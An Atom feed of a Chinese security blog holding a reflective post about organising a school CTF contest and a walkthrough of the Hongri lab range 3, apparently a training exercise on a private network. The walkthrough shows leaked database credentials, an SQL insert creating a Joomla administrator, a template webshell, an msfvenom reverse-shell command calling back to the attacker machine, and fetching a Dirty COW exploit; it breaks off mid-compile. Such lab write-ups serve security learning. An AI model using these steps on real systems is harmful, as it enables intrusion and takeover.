<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-CN">
    
        <id>https://l1uyun.one/tags/sec/</id>
    <title type="html"><![CDATA[l1uyun's Blog]]></title>
    <updated>2026-02-09T09:12:18+00:00</updated>
    <generator uri="https://gohugo.io/" version="0.155.3">Hugo</generator>
    <author>
            <name>l1uyun</name>
            
                <email>846185293@qq.com</email>
            
                <uri>https://l1uyun.one/</uri>
            </author>
    
    
    
            <link href="https://l1uyun.one/tags/sec/" rel="alternate" type="text/html" title="html" />
            <link href="https://l1uyun.one/tags/sec/index.xml" rel="alternate" type="application/rss+xml" title="rss" />
    <updated>2026-02-09T09:12:18+00:00</updated>
    
    
        
        <entry>
            <title type="html"><![CDATA[办了一场ctf校赛]]></title><link href="https://l1uyun.one/posts/%E5%8A%9E%E4%BA%86%E4%B8%80%E5%9C%BActf%E6%A0%A1%E8%B5%9B/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/%E5%8A%9E%E4%BA%86%E4%B8%80%E5%9C%BActf%E6%A0%A1%E8%B5%9B/</id>
            
            <published>2024-12-18T20:53:50+08:00</published>
            <updated>2025-09-29T20:52:46+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="前言">前言</h1>
<p>最近办了一场学校的ctf校赛，这也许是我最后一次接触ctf，目前比赛算是结束了，复盘一下比赛，复盘一下我自己。</p>
<h1 id="缘起">缘起</h1>
<p>办比赛的缘起要从我莫名当上协会负责人说起，九月份去衡阳打攻防，打的过程中，上一届的会长SkyWT在qq上问我要不要当下一任会长，我答应了，回去之后忙完年审材料，换届材料之后，我就成了协会的负责人。（我估计也会这样把协会传下去），这一身份让我与办ctf校赛这一事情产生了内在联系。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_1.jpeg" alt="|300" /><figcaption>|300</figcaption></figure>
</p>
<p>另一部分是源自带我去衡阳打攻防的学姐，在衡阳跟我说过这学期她需要办一场ctf比赛，她与学院的老师有过这方面的约定，而我对这位带我去打攻防的学姐是非常感激的。她带我去打攻防，是基于为爱发电的理念，“如果我带你去打了攻防，有了这一次攻防，你之后就有可能去带新人去打，这样我们学校做渗透的就能传下去”，这种热爱，传承的意味在一定程度上影响了我。但是与这种感染相比更多的是对学姐的感激（让我短暂远离了学校这一苦闷的秩序，以及让我中断那段时间的自我内耗）。</p>
<hr>
<p>再回忆一下让比赛办下去的外部因素，也就是’缘‘。</p>
<p>一方面是学院需要这方面的建设，在建新校区，网安系可能会独立出去啥的，因此给了比较充足的预算支持，</p>
<p>另一个外部因素是跟朋友的闲聊，聊到我们学校ctf这方面发展的不行，没什么氛围，跟那些强ctf战队的学校比不了，之后是一段不怎么愉快的交流（回忆那次闲聊，我只是<em>知道</em>是不怎么愉快的，就跟我知道1+1=2一样，只是概念上的知道有这一回事），我并不认同‘我身为会长，就最有责任最有义务去建设这玩意’，我当上会长并不是因为有一群热爱安全，热爱ctf，一起打比赛的伙伴，并不是有一个真实的信安协会，协会只在学校的记录中还存在而已，在我的认知中，我只是莫名奇妙就当上了会长（我只是莫名奇妙就来到了这个世界）</p>
<p>&lsquo;我&rsquo;并不是一个有什么领导特质的人，或者说，我并不是一个主动的，积极的，直接活着的人，我没有很强的自我感（这些否定性的特质是我能够活到现在的前提），我的自我感直到高二才显现出来，当时我将那种强烈的“我需要做一些事情，我能够做一些事情”的感觉，称作觉醒。</p>
<p>大多数时间，是世界在向我展开，是生活在经历我，我只是莫名其妙的经历那些，莫名奇妙的就成为了我，这与我的早期经历有关，与心盲症有关。</p>
<p>进入大学后，我做了一些努力，积极地说，或许改变了5%。按照修行的说法，我身上的习气依然很难消除，也许每天只有20分钟，我能够保持积极的，主动的，觉察的心态，在修行，而剩下的23小时40分钟都在复习过去旧有的习惯，强化旧有的思维模式，都在依照过去的习性造作新的业，在反向修行。</p>
<p>回到那次闲聊，闲聊中，我莫名成了最有责任要办一场比赛，来提升学校ctf氛围的的人，这种‘因为我是会长，所以我需要&hellip;’的说法对我来说是荒谬的，如果这一说法是产生于内部，有可能会鼓动到我（如果我不小心相信了我的念头）。（类比这样的说法，我们都相信自己是理性的，但是如果别人对你说，‘你要理性一点’，你会以非理性的方式应对，你的心理机制会让你对此反对的，如果你认同了，那你在这场语言权力斗争中就输了..）</p>
<p>我是一个被动的人，既然朋友都这么说了，那我就去推进一下这件事情。跟我闲聊的朋友并不知道协会的学姐跟我说过，这学期她需要办一场校赛这一信息。（也许是并不相信这一说法，不过无所谓怎么形容了，反正我回忆不起来过去发生的事情的细节）在我的视角中，推进办比赛这件事情最直接的方式就是去联系一下学姐。</p>
<p>在我联系学姐之后，这场比赛的因缘就和合了，如果没有什么更大的外部事件发生，就一定会办了。</p>
<p>类比一颗已经接近临界点的水煮蛋，哪怕在此刻促成煮鸡蛋的一些外界条件改变了，装鸡蛋的容器消失了，提供热量的火灭了，把鸡蛋放到容器里面的人暴毙了&hellip;.余热也会让煮鸡蛋这一事件彻底完成，这颗鸡蛋注定会成熟。（这是我对因缘和合这一说法最早的印象）</p>
<hr>
<h1 id="赛前">赛前</h1>
<p>办一场比赛，最麻烦的事情都在赛前。</p>
<h2 id="方案">方案</h2>
<p>由于拿了学院的预算，所以什么都需要审核。</p>
<p>拿着22年校赛的方案，更改内容，添加一点点细节，经过几个版本的迭代，勉强弄出来一个像样的方案。</p>
<h2 id="部署平台">部署平台</h2>
<p>最开始是打算使用超算中心的服务器，由于没有办比赛的经验，不清楚要租一个什么配置的服务器，在询问了探姬师傅以及结合超算中心的价格表，准备租个2核4g，20Mbps带宽的服务器，但是走完申请流程，拿到服务器之后，发现没有给公网ip，也没有给学校内网的ip，以及还需要签一个安全承诺书，不能扫描服务器，不能部署有漏洞的服务啥的，但是我们是办ctf比赛&hellip;.</p>
<p>最终选择在腾讯云上租服务器，配合双十一的卷，不到四百块钱租了一个月的轻量应用服务器。8核16g，18Mbps，月流量3500G，比赛只用了一点点，大概是3-5%的性能</p>
<p>部署平台是使用GZCTF这一开源平台，使用docker部署</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_2.png" alt="" /></figure>
</p>
<h2 id="出题">出题</h2>
<p>原本定了六个方向的题，web，pwn，reverse，crypto，misc，osint，kery学长还弄了一道ai题</p>
<p>由于是校内的新生赛，所以都是出的easy难度的题</p>
<p>我主要弄了web，crypto方向的题，web方向，全程使用的php出的题，因此web方向出题并没有花多少时间。</p>
<p>crypto方向，是因为没人学，我也没学过，就简单出了两个编码和一个easy_rsa。</p>
<h2 id="预热">预热</h2>
<p>由于学院那边突然就把推文给发出去了，那时候离宣讲会都还有两个星期，导致整个比赛莫名的启动了，于是kery学长建议弄几个预热题，让大家熟悉一下，也让我们主办方熟悉和测试一下比赛平台。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_3.png" alt="" /></figure>
</p>
<p>当时我负责的题是已经出完了，我就直接从我出的web题里面丢了几道在预热赛里面。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_4.png" alt="" /></figure>
</p>
<h2 id="宣讲会">宣讲会</h2>
<p>宣讲会，我在消极应对，最开始是不知道要演示些啥，后面弄了预热，那就讲讲预热题吧，我也没做什么准备，只是在宣讲会开始前一个多小时，在宿舍练习了一遍，讲了半个多小时，然后就直接过去了。</p>
<p>原本预期中，我是坐在下面，使用腾讯会议投屏，来演示的，但是由于学姐主持的时候我和她都没有反应过来，没有意识到只需要退出她电脑上的ppt，换到腾讯会议的界面就行，我就莫名奇妙的拿着电脑上去了。</p>
<p>让我站在前面，面对其他人讲，我很难讲好，一方面是缺乏练习，缺乏经历，另一方面是，对于这些内容，我并没有很强的表达分享的欲望，缺乏内在动力，所以我很难克服当众表达面临的本能阻力。</p>
<p>想象一下，几百万年以前，我还是野人的时候，走在路上，突然一束光照向我的眼睛，并且前面还有很多生物盯着我，有很多双眼睛看着我。这种情况下，我本能的就会启动战斗模式，血液流向四肢，握拳准备战斗，或者启动逃跑模式，双脚开始绷紧，准备逃跑。这时最不需要的就是思考，血液会从大脑流向其他地方，我的大脑就一片空白了。</p>
<hr>
<h1 id="赛中">赛中</h1>
<p>比赛从周六的上午九点到周天的下午五点。</p>
<h2 id="day1">day1</h2>
<p>第一天全程在当人工bot，播报比赛的一血二血三血情况，比赛开始前面半个小时，还在担心没人打，没人拿一血，不过比赛刚开始几分钟就有人解出题了，不得不说，这几个新生确实nb，不过也与大模型有关吧，我没有去测试，但是估计所有的题，都能使用chatgpt解决</p>
<p>第一天结束的时候，大部分题都被解决的差不多了。</p>
<h2 id="day2">day2</h2>
<p>第二天一觉醒来，有个学长半夜屠榜了</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_5.png" alt="" /></figure>
</p>
<p>以及发现有个校外✌ak了，从周六下午五点，打到周天早上七点，太肝了。</p>
<hr>
<h1 id="赛后">赛后</h1>
<h2 id="做题情况">做题情况</h2>
<p>所有的题目都被做出来了。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_6.png" alt="" /></figure>
</p>
<p>还有一些非预期解，例如ai那道题，找个在线的加噪点网站就能解决，或者干脆使用win自带的画图，在图像里面随便画几笔就能通过。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_7.png" alt="||550" /><figcaption>||550</figcaption></figure>
</p>
<p>总共43个人答了签到题。。。</p>
<h2 id="作弊情况">作弊情况</h2>
<p>比赛过程中发现有提交其他人flag的，我们大部分题目都是使用的动态flag，能在后台看见哪只队伍提交了哪只队伍的flag。发现有这种情况之后，我们发了个警告，但是没起到什么作用，马上这两只队伍又出现了互相提交flag的情况，不过最后这两只队伍也没有提交wp，大概只是来玩一下的。</p>
<h2 id="审wp">审wp</h2>
<p>做出签到题的有43个人，提交wp的，只有16个，算上群里的毕业学长发的wp，总共只有18个wp，所以审wp的工作很快就完成了，没啥内容，而且除了reverse和pwn方向，其他方向都很直接，并没有很长的链子。</p>
<p>而我们pwn方向的出题人，倒是发现了一些疑点，我们开会之后，决定抽空找他们线下答辩一下。但是后面出了意外情况，就按照意外情况的处理方式去处理了。</p>
<h2 id="官方wp">官方wp</h2>
<p>原本是有计划出官方wp的，但是遇到了期末考试，我也就懒得弄了，正好学长们在群里发了wp，就封他们为官方wp了。</p>
<p>看了一下他们的wp，思路上差不了多少，毕竟都是easy题。</p>
<p>我出的misc方向的《网络鲨鱼》，没人尝试去连接那个mysql数据库，出题的时候没有想清楚，觉得是新生赛，就在后面又给了一个base64编码的flag，导致这道题跟另外一道流量分析的题很相似了。</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e5%8a%9e%e4%ba%86%e4%b8%80%e5%9c%bactf%e6%a0%a1%e8%b5%9b_image_8.png" alt="|500" /><figcaption>|500</figcaption></figure>
</p>
<h2 id="意外事件">意外事件</h2>
<p>虽然过了交wp的时间，但是之后的一两天内我还是有在翻看邮箱，结果在垃圾箱里面发现了一封异常的邮件，点进去一看是举报&hellip;..还好我有翻垃圾箱的习惯</p>
<p>这种事情只能上报了，按照指示，找了新生里面的第一名第二名谈话，两个新生态度都很好，都没有不承认，最终也是处理完了这件意外事件，取消了这两人的pwn方向成绩。</p>
<h2 id="公示成绩">公示成绩</h2>
<p>基本上是认真参与了就有奖，新生赛道，14个wp，12个奖。（他们这500赚的轻松🙄，我在衡阳，7天时间，每天9小时，最终还是拿了奖才能有500&hellip;&hellip;.）</p>
<p>高年级赛道，只有四个wp，但是有十个礼品，最终弄成大礼包送出去了。</p>
<h2 id="归档">归档</h2>
<p>在正式比赛结束之后，把比赛平台数据，题目源码，以及整个比赛用到的文档都归档了一下，放到祖传材料里面，留给下一任会长了。</p>
<hr>
<h1 id="l1uyun">l1uyun</h1>
<p><strong>草台班子</strong></p>
<p>亲自办一场比赛，让我对草台班子这一说法有了经验性的理解。在这之前，我只是听马督工讲过这一说法，只是概念上知道。</p>
<p>办完这场比赛之后，才理解了组织，秩序背后的松散拼凑、粗制滥造，这有利于我进一步对各种叙事祛魅</p>
<p><strong>小组作业？</strong></p>
<p>办这场比赛，跟完成一个课程小组作业，我没有感到有什么区别，只是时间更长，事情更多的小组作业。我并没有感知到什么团队的氛围，只是拼凑起来，来完成这样一个与ctf相关的任务，彼此之间并没有深度的联系。我并没有感受到作为一个团队来完成一件事情的感觉。</p>
<p><strong>正见，正思维</strong></p>
<p>消极/积极一点来看，我应该<em>如实观照</em>现在的氛围，而不是产生幻想，产生&rsquo;应该是什么样&rsquo;的念头。 现在的氛围就是现在的氛围，没有&rsquo;应该是什么样的氛围&rsquo;。现在的氛围背后也是无数因缘和合导致的，是无常导致的。所有的“应该是什么样”都是来源于我对无常的不明白，都是我在尝试掌控我不能掌控的东西。</p>
<p>积极/消极一点来看，我可以拥有主动性，可以去促进积极的事情发生。无常是坏事，也是好事。我需要并且能够去促进积极的因缘产生，这里的&quot;需要&quot;是因为我还有世俗的欲望，&ldquo;能够&quot;是指只需要变得比之前好5%就行，《5%的改变》是容易的，是我可以实现的。</p>
<h1 id="引用">引用</h1>
<p><a href="https://pid-blog.com/article/course-contest-experiences" target="_blank" rel="noopener nofollow noreferrer" >如何办好一场校内 CTF 赛 _ 写在 2024 网络攻防课程结课后</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                             
                                <category scheme="https://l1uyun.one/tags/hnu" term="hnu" label="hnu" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[sec]]></title><link href="https://l1uyun.one/posts/sec/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/sec/</id>
            
            <published>2024-10-27T08:37:45+08:00</published>
            <updated>2024-10-27T08:49:51+08:00</updated>
            
            
            <content type="html"><![CDATA[]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[红日靶场3]]></title><link href="https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA3/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA3/</id>
            
            <published>2024-10-07T21:20:16+08:00</published>
            <updated>2025-09-29T20:51:19+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="前言">前言</h1>
<p>得加快红日靶场的进度了</p>
<h1 id="红日靶场3">红日靶场3</h1>
<h2 id="搭建环境">搭建环境</h2>
<p>这个靶场只有一台web服务器暴露在外网中</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>外网网段 192.168.3.1/24
</span></span><span style="display:flex;"><span>攻击机 parrot 192.168.3.101
</span></span><span style="display:flex;"><span>攻击机 wsl  192.168.3.100
</span></span><span style="display:flex;"><span>攻击机 win  192.168.3.99
</span></span><span style="display:flex;"><span>web-centos 192.168.3.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>内网网段
</span></span><span style="display:flex;"><span>192.168.93.1/24
</span></span></code></pre></div><p>五台靶机都是配置了only-host网卡,除了centos额外有一个nat网卡,来与外网通信.
启动centos靶机之后,需要<code>service network restart</code></p>
<blockquote>
<p>[!INFO]
配完环境之后,发现忘了弄快照了,可能不会在一个完整的时间内完成,所以&hellip;.重新解压一下,改完网卡后,先弄下快照</p>
</blockquote>
<h2 id="外网">外网</h2>
<p>访问192.168.3.3</p>
<h3 id="信息收集">信息收集</h3>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_1.png" alt="" /></figure>
<p>joomla cms</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_2.png" alt="" /></figure>
<p>这个cms之前打靶机的时候遇见过</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_3.png" alt="" /></figure>
<p>在README.txt中发现了版本信息(在http://192.168.3.3/administrator/manifests/files/joomla.xml中也有)</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_4.png" alt="" /></figure>
<p>在exploit-db中查找一下,先看看两个sql注入,RealEstateManager和VehicleManager组件的,但是这台机器,这两个组件都没有</p></p>
<p>后台弱口令登录失败,跑一下爆破脚本</p>
<p>继续找一下nday,尝试了一下,没啥进展</p>
<h3 id="数据库凭据泄露">数据库凭据泄露</h3>
<p>回到目录扫描
御剑扫一下
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_5.png" alt="" /></figure>
<p>phpinfo</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_6.png" alt="" /></figure>
<p>电脑卡起来了,御剑崩了,换成dirsearch,扫到了下面这个文件
<code>http://192.168.3.3/configuration.php~</code>
里面有数据库的账号密码</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>	public $dbtype <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;mysqli&#39;</span>;
</span></span><span style="display:flex;"><span>	public $host <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;localhost&#39;</span>;
</span></span><span style="display:flex;"><span>	public $user <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;testuser&#39;</span>;
</span></span><span style="display:flex;"><span>	public $password <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;cvcvgjASD!@&#39;</span>;
</span></span><span style="display:flex;"><span>	public $db <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;joomla&#39;</span>;
</span></span><span style="display:flex;"><span>	public $dbprefix <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;am2zu_&#39;</span>;
</span></span></code></pre></div><p>navicat连一下
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_7.png" alt="" /></figure>
</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>admin
</span></span><span style="display:flex;"><span>$2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>administrator
</span></span><span style="display:flex;"><span>$2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
</span></span></code></pre></div><p>bcrypt加密</p>
<h3 id="sql添加管理员">sql添加管理员</h3>
<p>没跑出来,<a href="https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn" target="_blank" rel="noopener nofollow noreferrer" >添加一个新用户算了</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">INSERT</span> <span style="color:#66d9ef">INTO</span> <span style="color:#f92672">`</span>am2zu_users<span style="color:#f92672">`</span>
</span></span><span style="display:flex;"><span>   (<span style="color:#f92672">`</span>name<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>username<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>password<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>params<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>registerDate<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>lastvisitDate<span style="color:#f92672">`</span>, <span style="color:#f92672">`</span>lastResetTime<span style="color:#f92672">`</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">VALUES</span> (<span style="color:#e6db74">&#39;Administrator2&#39;</span>, <span style="color:#e6db74">&#39;admin2&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199&#39;</span>, <span style="color:#e6db74">&#39;&#39;</span>, NOW(), NOW(), NOW());
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">INSERT</span> <span style="color:#66d9ef">INTO</span> <span style="color:#f92672">`</span>am2zu_user_usergroup_map<span style="color:#f92672">`</span> (<span style="color:#f92672">`</span>user_id<span style="color:#f92672">`</span>,<span style="color:#f92672">`</span>group_id<span style="color:#f92672">`</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">VALUES</span> (LAST_INSERT_ID(),<span style="color:#e6db74">&#39;8&#39;</span>);
</span></span></code></pre></div><p>然后使用admin2:secret登录进入后台
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_8.png" alt="" /></figure>
</p>
<h3 id="后台模板getshell">后台模板getshell</h3>
<p>上传webshell,这里生成的是蚁剑的
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_9.png" alt="|500" /><figcaption>|500</figcaption></figure>
<p>修改error.php,并保存</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_10.png" alt="" /></figure>
<p>路径是<code>http://192.168.3.3/templates/beez3/error.php</code></p></p>
<h3 id="antsword">antsword</h3>
<p>连上去了
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_11.png" alt="" /></figure>
<p>加载插件之后执行命令</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_12.png" alt="" /></figure>
<p>存在内网ip 192.168.93.120</p></p>
<p>传到msf里面吧</p>
<pre tabindex="0"><code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.100 LPORT=4444 -f elf -o shell.elf
</code></pre><p>没传成功&hellip;.尝试了很多反弹shell的操作,但是都没有弹成功
最后在tmp目录下发现了凭据,前期已经知道了ssh是开放的,连上去</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -o HostKeyAlgorithms<span style="color:#f92672">=</span>+ssh-rsa -o PubkeyAcceptedAlgorithms<span style="color:#f92672">=</span>+ssh-rsa wwwuser@192.168.3.3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wwwuser_123Aqx
</span></span></code></pre></div><p>ssh连上去之后上linpeas脚本,看到了这个nginx配置文件,明白是什么意思了,我拿到的webshell是在内网的192.168.93.120机器上面,而我现在的靶机的内网ip是192.168.93.100,所以我反弹不了web机器的shell回来,有公网ip的这台nginx机器是反向代理了内网的web机器</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-rw-r--r--. <span style="color:#ae81ff">1</span> root root <span style="color:#ae81ff">1032</span> Oct  <span style="color:#ae81ff">6</span> 20:09 /etc/nginx/nginx.conf
</span></span><span style="display:flex;"><span>user  nginx;
</span></span><span style="display:flex;"><span>worker_processes  1;
</span></span><span style="display:flex;"><span>error_log  /var/log/nginx/error.log warn;
</span></span><span style="display:flex;"><span>pid        /var/run/nginx.pid;
</span></span><span style="display:flex;"><span>events <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    worker_connections  1024;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>http <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  server <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        listen  80;
</span></span><span style="display:flex;"><span>        server_name  localhost;
</span></span><span style="display:flex;"><span>        location / <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>         proxy_pass  http://192.168.93.120;
</span></span><span style="display:flex;"><span>              proxy_set_header        Host $host;
</span></span><span style="display:flex;"><span>              proxy_connect_timeout   90;
</span></span><span style="display:flex;"><span>              proxy_send_timeout      90;
</span></span><span style="display:flex;"><span>              proxy_read_timeout      90;
</span></span><span style="display:flex;"><span>              proxy_buffer_size       4k;
</span></span><span style="display:flex;"><span>              proxy_buffers           <span style="color:#ae81ff">4</span> 32k;
</span></span><span style="display:flex;"><span>              proxy_busy_buffers_size 64k;
</span></span><span style="display:flex;"><span>              proxy_temp_file_write_size 64k;
</span></span><span style="display:flex;"><span>              proxy_redirect          off;
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>stream  <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>upstream proxy_name <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    server 192.168.93.120:3306;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>server <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    listen 3306;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    proxy_pass proxy_name;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><h3 id="提权">提权</h3>
<p>接下来要对内网的机器进一步渗透,这台公网机器需要作为跳板机,先得拿下root</p>
<p>尝试一下脏牛
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba3_image_13.png" alt="" /></figure>
</p>
<p>上传.c文件,将文件里面的用户名改成root</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>wwwuser@localhost tmp<span style="color:#f92672">]</span>$ wget 192.168.3.100/dirty.c
</span></span><span style="display:flex;"><span>--2019-10-06 22:57:45--  http://192.168.3.100/dirty.c
</span></span><span style="display:flex;"><span>Connecting to 192.168.3.100:80... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Length: <span style="color:#ae81ff">4807</span> <span style="color:#f92672">(</span>4.7K<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>text/x-csrc<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Saving to: “dirty.c”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>100%<span style="color:#f92672">[================================================</span>&gt;<span style="color:#f92672">]</span> 4,807       --.-K/s   in 0s      
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-10-06 22:57:45 <span style="color:#f92672">(</span>11.1 MB/s<span style="color:#f92672">)</span> - “dirty.c” saved <span style="color:#f92672">[</span>4807/4807<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>wwwuser@localhost tmp<span style="color:#f92672">]</span>$ gcc -pthread dirty.c -o dirty -lcrypt
